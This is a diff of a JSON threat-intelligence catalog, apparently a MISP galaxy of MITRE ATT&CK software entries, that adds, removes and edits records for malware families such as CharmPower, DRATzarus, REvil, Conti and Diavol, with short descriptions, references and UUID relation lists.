"dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "a545456a-f9a7-47ad-9ea6-8b017def38d1", - "value": "Pandora - S0664" - }, { "description": "[WindTail](https://attack.mitre.org/software/S0466) is a macOS surveillance implant used by [Windshift](https://attack.mitre.org/groups/G0112). [WindTail](https://attack.mitre.org/software/S0466) shares code similarities with Hack Back aka KitM OSX.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)", "meta": { @@ -60171,194 +57913,6 @@ "uuid": "0d1f9f5b-11ea-42c3-b5f4-63cce0122541", "value": "WindTail - S0466" }, - { - "description": "[CharmPower](https://attack.mitre.org/software/S0674) is a PowerShell-based, modular backdoor that has been used by [Magic Hound](https://attack.mitre.org/groups/G0059) since at least 2022.(Citation: Check Point APT35 CharmPower January 2022)", - "meta": { - "external_id": "S0674", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0674", - "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/" - ], - "synonyms": [ - "CharmPower" - ] - }, - "related": [ - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", - "value": "CharmPower - S0674" - }, { "description": "[TajMahal](https://attack.mitre.org/software/S0467) is a multifunctional spying framework that has been in use since at least 2014. [TajMahal](https://attack.mitre.org/software/S0467) is comprised of two separate packages, named Tokyo and Yokohama, and can deploy up to 80 plugins.(Citation: Kaspersky TajMahal April 2019)", "meta": { @@ -61399,118 +58953,7 @@ "value": "SMOKEDHAM - S0649" }, { - "description": "[DRATzarus](https://attack.mitre.org/software/S0694) is a remote access tool (RAT) that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) to target the defense and aerospace organizations globally since at least summer 2020. [DRATzarus](https://attack.mitre.org/software/S0694) shares similarities with [Bankshot](https://attack.mitre.org/software/S0239), which was used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in 2017 to target the Turkish financial sector.(Citation: ClearSky Lazarus Aug 2020)", - "meta": { - "external_id": "S0694", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0694", - "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf" - ], - "synonyms": [ - "DRATzarus" - ] - }, - "related": [ - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e4dc8c01-417f-458d-9ee0-bb0617c1b391", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "56aa3c82-ed40-4b5a-84bf-7231356d9e96", - "value": "DRATzarus - S0694" - }, - { - "description": "[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496), which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)", + "description": "[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496) is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)", "meta": { "external_id": "S0496", "mitre_platforms": [ @@ -61936,21 +59379,14 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -61971,21 +59407,21 @@ "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb4387ab-7a51-468b-bf5f-a9a8612f0303", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62011,6 +59447,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "aecc0097-c9f8-4786-9b39-e891ff173f54", @@ -62251,14 +59701,14 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62278,13 +59728,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", "tags": [ @@ -62293,7 +59736,28 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62306,13 +59770,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -62335,14 +59792,14 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62551,14 +60008,7 @@ }, "related": [ { - "dest-uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62572,7 +60022,7 @@ "type": "uses" }, { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62585,13 +60035,6 @@ ], "type": "uses" }, - { - "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -62599,6 +60042,13 @@ ], "type": "uses" }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -62606,6 +60056,20 @@ ], "type": "uses" }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -62619,6 +60083,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "a0d774e4-bafc-4292-8651-3ec899391341", @@ -62641,7 +60112,7 @@ }, "related": [ { - "dest-uuid": "24a77e53-0751-46fc-b207-99378fb35c08", + "dest-uuid": "2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62654,20 +60125,6 @@ ], "type": "uses" }, - { - "dest-uuid": "37047267-3e56-453c-833e-d92b68118120", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -62675,13 +60132,6 @@ ], "type": "uses" }, - { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -62703,13 +60153,6 @@ ], "type": "uses" }, - { - "dest-uuid": "939808a7-121d-467a-b028-4441ee8b7cee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -62718,7 +60161,7 @@ "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62732,7 +60175,21 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62745,6 +60202,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -62753,14 +60217,14 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -62841,7 +60305,7 @@ "value": "Raindrop - S0565" }, { - "description": "[Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service (RaaS) that was first observed in December 2019. [Conti](https://attack.mitre.org/software/S0575) has been deployed via [TrickBot](https://attack.mitre.org/software/S0266) and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)", + "description": "[Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service that was first observed in December 2019, and has being distributed via [TrickBot](https://attack.mitre.org/software/S0266). It has been used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)", "meta": { "external_id": "S0575", "mitre_platforms": [ @@ -63347,6 +60811,13 @@ ], "type": "uses" }, + { + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "37b11151-1776-4f8f-b328-30939fbf2ceb", "tags": [ @@ -63438,13 +60909,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e4dc8c01-417f-458d-9ee0-bb0617c1b391", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -63463,110 +60927,6 @@ "uuid": "727afb95-3d0f-4451-b297-362a43909923", "value": "ThiefQuest - S0595" }, - { - "description": "[ThreatNeedle](https://attack.mitre.org/software/S0665) is a backdoor that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations. It is considered to be an advanced cluster of [Lazarus Group](https://attack.mitre.org/groups/G0032)'s Manuscrypt (a.k.a. NukeSped) malware family.(Citation: Kaspersky ThreatNeedle Feb 2021)", - "meta": { - "external_id": "S0665", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0665", - "https://securelist.com/lazarus-threatneedle/100803/" - ], - "synonyms": [ - "ThreatNeedle" - ] - }, - "related": [ - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "16040b1c-ed28-4850-9d8f-bb8b81c42092", - "value": "ThreatNeedle - S0665" - }, { "description": "[BLUELIGHT](https://attack.mitre.org/software/S0657) is a remote access Trojan used by [APT37](https://attack.mitre.org/groups/G0067) that was first observed in early 2021.(Citation: Volexity InkySquid BLUELIGHT August 2021)", "meta": { @@ -64273,6 +61633,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4", "tags": [ @@ -64287,13 +61654,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7d20fff9-8751-404e-badd-ccd71bda0236", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "810aa4ad-61c9-49cb-993f-daa06199421d", "tags": [ @@ -64391,7 +61751,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0568", - "https://www.prevailion.com/phantom-in-the-command-shell-2/", + "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/" ], "synonyms": [ @@ -64501,209 +61861,6 @@ "uuid": "7cdfccda-2950-4167-981a-60872ff5d0db", "value": "EVILNUM - S0568" }, - { - "description": "[PowerPunch](https://attack.mitre.org/software/S0685) is a lightweight downloader that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)", - "meta": { - "external_id": "S0685", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0685", - "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/" - ], - "synonyms": [ - "PowerPunch" - ] - }, - "related": [ - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f244b8dd-af6c-4391-a497-fc03627ce995", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "d52291b4-bb23-45a8-aef0-3dc7e986ba15", - "value": "PowerPunch - S0685" - }, - { - "description": "[Diavol](https://attack.mitre.org/software/S0659) is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. [Diavol](https://attack.mitre.org/software/S0659) has been deployed by [Bazar](https://attack.mitre.org/software/S0534) and is thought to have potential ties to [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Fortinet Diavol July 2021)(Citation: FBI Flash Diavol January 2022)(Citation: DFIR Diavol Ransomware December 2021)", - "meta": { - "external_id": "S0659", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0659", - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", - "https://www.ic3.gov/Media/News/2022/220120.pdf" - ], - "synonyms": [ - "Diavol" - ] - }, - "related": [ - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - 